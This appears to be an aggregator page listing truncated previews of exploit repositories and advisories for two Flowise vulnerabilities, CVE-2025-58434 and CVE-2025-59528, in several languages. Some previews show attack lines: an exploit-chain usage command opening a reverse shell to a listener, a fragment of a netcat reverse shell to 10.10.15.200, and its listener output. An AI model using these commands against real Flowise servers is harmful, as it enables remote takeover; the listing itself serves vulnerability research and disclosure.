CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE Chain - ATO CVE-2025-58434 and RCE CVE-2025-59528 ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal. Table of Contents This repository contains a Python proof-of-concept for chainin...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Prueba de Concepto de Ejecución Remota de Código Una prueba de concepto en Go para CVE-2025-59528 dirigida a versiones de Flowise Ejemplo go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

CVE-2025-59528-POC

CVE-2025-59528 - Ejecución Remota de Código en FlowiseAI CustomMCP CVSS 10.0 Crítico | RCE Ciego | FlowiseAI Flowise = 2.2.7-patch.1 y 3.0.6 Resumen Una vulnerabilidad crítica de ejecución remota de código en el nodo CustomMCP de FlowiseAI Flowise. La función convertToValidJSONString pasa la...

CVE-2025-59528

CVE-2025-59528 – Ejecución Remota de Código PoC en el Nodo CustomMCP de Flowise Resumen Este repositorio contiene una prueba de concepto que demuestra CVE-2025-59528 en Flowise v3.0.5. La vulnerabilidad existe en el nodo customMCP, donde la entrada mcpServerConfig proporcionada por el usuario se...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelos de lenguaje grandes personalizados. En la versión 3.0.5, Flowise es vulnerable a la ejecución remota de código. El nodo CustomMCP permite a los usuarios ingresar ajustes de configuració...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC de RCE autenticado para Flowise versión &1|nc 10.10.15.200 443 /tmp/f' Verifica el listener y debería funcionar: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

CVE-2025-59528: Improper Control of Generation of Code

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...